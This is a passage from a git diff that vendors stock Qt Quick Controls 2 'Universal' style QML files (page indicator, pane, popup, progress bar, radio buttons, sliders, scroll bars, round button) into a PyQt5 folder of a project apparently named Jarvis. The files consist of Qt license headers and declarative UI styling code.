QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.PageIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 7 + + delegate: Rectangle { + implicitWidth: 5 + implicitHeight: 5 + + radius: width / 2 + color: index === control.currentIndex ? control.Universal.baseMediumHighColor : + pressed ? control.Universal.baseMediumLowColor : control.Universal.baseLowColor + } + + contentItem: Row { + spacing: control.spacing + + Repeater { + model: control.count + delegate: control.delegate + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Pane.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Pane.qml new file mode 100644 index 00000000..63a5ecec --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Pane.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Pane { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: control.Universal.background + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Popup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Popup.qml new file mode 100644 index 00000000..e39134e1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Popup.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Popup { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: control.Universal.chromeMediumLowColor + border.color: control.Universal.chromeHighColor + border.width: 1 // FlyoutBorderThemeThickness + } + + T.Overlay.modal: Rectangle { + color: control.Universal.baseLowColor + } + + T.Overlay.modeless: Rectangle { + color: control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ProgressBar.qml new file mode 100644 index 00000000..ce79bd54 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ProgressBar.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.ProgressBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: ProgressBarImpl { + implicitHeight: 10 + + scale: control.mirrored ? -1 : 1 + color: control.Universal.accent + progress: control.position + indeterminate: control.visible && control.indeterminate + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 10 + y: (control.height - height) / 2 + height: 10 + + visible: !control.indeterminate + color: control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioButton.qml new file mode 100644 index 00000000..a50cdf9b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioButton.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.RadioButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 8 + + property bool useSystemFocusVisuals: true + + indicator: RadioIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioDelegate.qml new file mode 100644 index 00000000..9fc910f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioDelegate.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.RadioDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + indicator: RadioIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + visible: control.down || control.highlighted || control.visualFocus || control.hovered + color: control.down ? control.Universal.listMediumColor : + control.hovered ? control.Universal.listLowColor : control.Universal.altMediumLowColor + Rectangle { + width: parent.width + height: parent.height + visible: control.visualFocus || control.highlighted + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioIndicator.qml new file mode 100644 index 00000000..1a32decb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RadioIndicator.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Universal 2.12 + +Rectangle { + id: indicator + implicitWidth: 20 + implicitHeight: 20 + radius: width / 2 + color: "transparent" + border.width: 2 // RadioButtonBorderThemeThickness + border.color: control.checked ? "transparent" : + !control.enabled ? control.Universal.baseLowColor : + control.down ? control.Universal.baseMediumColor : + control.hovered ? control.Universal.baseHighColor : control.Universal.baseMediumHighColor + + property var control + + Rectangle { + id: checkOuterEllipse + width: parent.width + height: parent.height + + radius: width / 2 + opacity: indicator.control.checked ? 1 : 0 + color: "transparent" + border.width: 2 // RadioButtonBorderThemeThickness + border.color: !indicator.control.enabled ? indicator.control.Universal.baseLowColor : + indicator.control.down ? indicator.control.Universal.baseMediumColor : indicator.control.Universal.accent + } + + Rectangle { + id: checkGlyph + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: parent.width / 2 + height: parent.height / 2 + + radius: width / 2 + opacity: indicator.control.checked ? 1 : 0 + color: !indicator.control.enabled ? indicator.control.Universal.baseLowColor : + indicator.control.down ? indicator.control.Universal.baseMediumColor : + indicator.control.hovered ? indicator.control.Universal.baseHighColor : indicator.control.Universal.baseMediumHighColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RangeSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RangeSlider.qml new file mode 100644 index 00000000..f2e4d71e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RangeSlider.qml @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.RangeSlider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + first.implicitHandleWidth + leftPadding + rightPadding, + second.implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + first.implicitHandleHeight + topPadding + bottomPadding, + second.implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + first.handle: Rectangle { + implicitWidth: control.horizontal ? 8 : 24 + implicitHeight: control.horizontal ? 24 : 8 + + x: control.leftPadding + (control.horizontal ? control.first.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.first.visualPosition * (control.availableHeight - height)) + + radius: 4 + color: control.first.pressed ? control.Universal.chromeHighColor : + control.first.hovered ? control.Universal.chromeAltLowColor : + control.enabled ? control.Universal.accent : control.Universal.chromeDisabledHighColor + } + + second.handle: Rectangle { + implicitWidth: control.horizontal ? 8 : 24 + implicitHeight: control.horizontal ? 24 : 8 + + x: control.leftPadding + (control.horizontal ? control.second.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.second.visualPosition * (control.availableHeight - height)) + + radius: 4 + color: control.second.pressed ? control.Universal.chromeHighColor : + control.second.hovered ? control.Universal.chromeAltLowColor : + control.enabled ? control.Universal.accent : control.Universal.chromeDisabledHighColor + } + + background: Item { + implicitWidth: control.horizontal ? 200 : 18 + implicitHeight: control.horizontal ? 18 : 200 + + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + width: control.horizontal ? control.availableWidth : implicitWidth + height: control.horizontal ? implicitHeight : control.availableHeight + + scale: control.horizontal && control.mirrored ? -1 : 1 + + Rectangle { + x: control.horizontal ? 0 : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : 0 + width: control.horizontal ? parent.width : 2 // SliderBackgroundThemeHeight + height: control.vertical ? parent.height : 2 // SliderBackgroundThemeHeight + + color: control.hovered && !control.pressed ? control.Universal.baseMediumColor : + control.enabled ? control.Universal.baseMediumLowColor : control.Universal.chromeDisabledHighColor + } + + Rectangle { + x: control.horizontal ? control.first.position * parent.width : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : control.second.visualPosition * parent.height + width: control.horizontal ? control.second.position * parent.width - control.first.position * parent.width : 2 // SliderBackgroundThemeHeight + height: control.vertical ? control.second.position * parent.height - control.first.position * parent.height : 2 // SliderBackgroundThemeHeight + + color: control.enabled ? control.Universal.accent : control.Universal.chromeDisabledHighColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RoundButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RoundButton.qml new file mode 100644 index 00000000..2eedf96e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/RoundButton.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.RoundButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 8 + spacing: 8 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + property bool useSystemFocusVisuals: true + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + implicitWidth: 32 + implicitHeight: 32 + + radius: control.radius + visible: !control.flat || control.down || control.checked || control.highlighted + color: control.down ? control.Universal.baseMediumLowColor : + control.enabled && (control.highlighted || control.checked) ? control.Universal.accent : + control.Universal.baseLowColor + + Rectangle { + width: parent.width + height: parent.height + radius: control.radius + color: "transparent" + visible: control.hovered + border.width: 2 // ButtonBorderThemeThickness + border.color: control.Universal.baseMediumLowColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollBar.qml new file mode 100644 index 00000000..8b8e325d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollBar.qml @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.ScrollBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + visible: control.policy !== T.ScrollBar.AlwaysOff + minimumSize: orientation == Qt.Horizontal ? height / width : width / height + + // TODO: arrows + + contentItem: Rectangle { + implicitWidth: control.interactive ? 12 : 6 + implicitHeight: control.interactive ? 12: 6 + + color: control.pressed ? control.Universal.baseMediumColor : + control.interactive && control.hovered ? control.Universal.baseMediumLowColor : control.Universal.chromeHighColor + opacity: 0.0 + } + + background: Rectangle { + implicitWidth: control.interactive ? 12 : 6 + implicitHeight: control.interactive ? 12: 6 + + color: control.Universal.chromeLowColor + visible: control.size < 1.0 + opacity: 0.0 + } + + states: [ + State { + name: "active" + when: control.policy === T.ScrollBar.AlwaysOn || (control.active && control.size < 1.0) + } + ] + + transitions: [ + Transition { + to: "active" + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 1.0 } + }, + Transition { + from: "active" + SequentialAnimation { + PropertyAction{ targets: [control.contentItem, control.background]; property: "opacity"; value: 1.0 } + PauseAnimation { duration: 3000 } + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 0.0 } + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollIndicator.qml new file mode 100644 index 00000000..ab66ee7c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ScrollIndicator.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.ScrollIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: Rectangle { + implicitWidth: 6 + implicitHeight: 6 + + color: control.Universal.baseMediumLowColor + visible: control.size < 1.0 + opacity: 0.0 + + states: [ + State { + name: "active" + when: control.active + } + ] + + transitions: [ + Transition { + to: "active" + NumberAnimation { target: control.contentItem; property: "opacity"; to: 1.0 } + }, + Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 5000 } + NumberAnimation { target: control.contentItem; property: "opacity"; to: 0.0 } + } + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Slider.qml new file mode 100644 index 00000000..8f427b1e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Slider.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt 